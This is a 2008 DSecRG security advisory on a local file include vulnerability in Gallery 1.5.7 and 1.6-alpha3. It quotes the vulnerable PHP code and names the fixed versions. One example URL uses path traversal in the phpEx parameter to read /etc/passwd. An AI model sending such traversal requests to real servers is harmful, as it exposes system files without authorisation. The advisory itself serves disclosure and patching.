[DSECRG-08-035] Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3

2008-08-08T00:00:00
ID SECURITYVULNS:DOC:20318
Type securityvulns
Reporter Securityvulns
Modified 2008-08-08T00:00:00

Description

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035

Application: Gallery Versions Affected: 1.5.7, 1.6-alpha3 Vendor URL: http://gallery.menalto.com/ Bug: Local File Include Exploits: YES Reported: 14.07.2008 Vendor response: 15.07.2008 Solution: YES Date of Public Advisory: 08.08.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description


Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php

Successful exploitation requires that "register_globals" is enabled.

Code


switch ($_REQUEST['op']) { case 'modload': // Added with changes in Security for PhpBB2. define('IN_PHPBB', true);

    define ("LOADED_AS_MODULE","1");
    $phpbb_root_path = "./";
    // connect to phpbb
    include_once($phpbb_root_path . 'extension.inc');
    include_once($phpbb_root_path . 'common.'.$phpEx);
    include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

Example:

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=../../../../../../../../../../../../../etc/passwd

Solution


Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1

More information about release: http://gallery.menalto.com/gallery_1.5.8_released

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